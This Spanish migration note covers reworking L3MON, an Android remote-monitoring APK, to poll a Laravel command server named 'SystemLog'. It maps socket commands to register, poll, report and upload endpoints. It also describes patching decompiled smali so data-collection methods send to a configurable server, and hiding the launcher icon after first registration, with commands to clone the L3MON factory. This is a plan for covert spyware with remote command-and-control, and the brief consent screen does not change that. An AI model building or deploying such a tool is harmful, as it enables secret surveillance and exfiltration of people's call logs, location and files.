# Migración del APK L3MON a HTTP (SystemLog)

## Resumen

Sustituir Socket.IO (puerto 22222) por peticiones HTTP al API Laravel:

| Antes (L3MON) | Ahora (SystemLog) |
|---------------|-------------------|
| `socket.connect()` | `POST /api/v1/devices/register` |
| `socket.on('order')` | `POST /api/v1/devices/poll` |
| `socket.emit('0xLO', data)` | `POST /api/v1/devices/report` |
| buffers de archivos en socket | `POST /api/v1/devices/upload` |

## URL base

Configurar en el build del APK:

```
http://TU_SERVIDOR/systemlog/public/api/v1/devices
```

Endpoints relativos: `/register`, `/heartbeat`, `/poll`, `/report`, `/upload`, `/ack`

## Implementación actual (factory/decompiled)

1. **SystemLogApi.smali** — cliente HTTP (`register`, `heartbeat`, `poll`, `report`, `upload`, `ack`). URL base parcheada por el builder en `SystemLogApi.smali`.

2. **HttpPollRunnable.smali** — bucle en segundo plano: registro → heartbeat → poll → `ConnectionManagerDispatch` → ack.

3. **ConnectionManager.smali** — métodos `CL()`, `LO()`, etc. llaman a `SystemLogApi.report()` en lugar de `socket.emit`.

4. **LauncherHider** — oculta `LauncherAlias` tras el primer registro exitoso.

5. **activity-alias** `LauncherAlias` — icono del launcher; `MainActivity` sin filtro LAUNCHER.

Compilar clases Java nuevas: `factory/scripts/compile-android.ps1` (requiere JDK 8 + 17 y build-tools).

## Permisos y consentimiento

- Mostrar Activity de consentimiento corporativo al primer arranque.
- Foreground Service con notificación visible "SystemLog activo".
- Desactivar optimización de batería para el paquete.

## Copiar factory

```powershell
git clone https://github.com/efxtv/L3MON.git
xcopy /E /I L3MON\app\factory C:\xampp\htdocs\systemlog\factory
```

Requisito: **Java 8** en PATH para `apktool` y `sign.jar`.
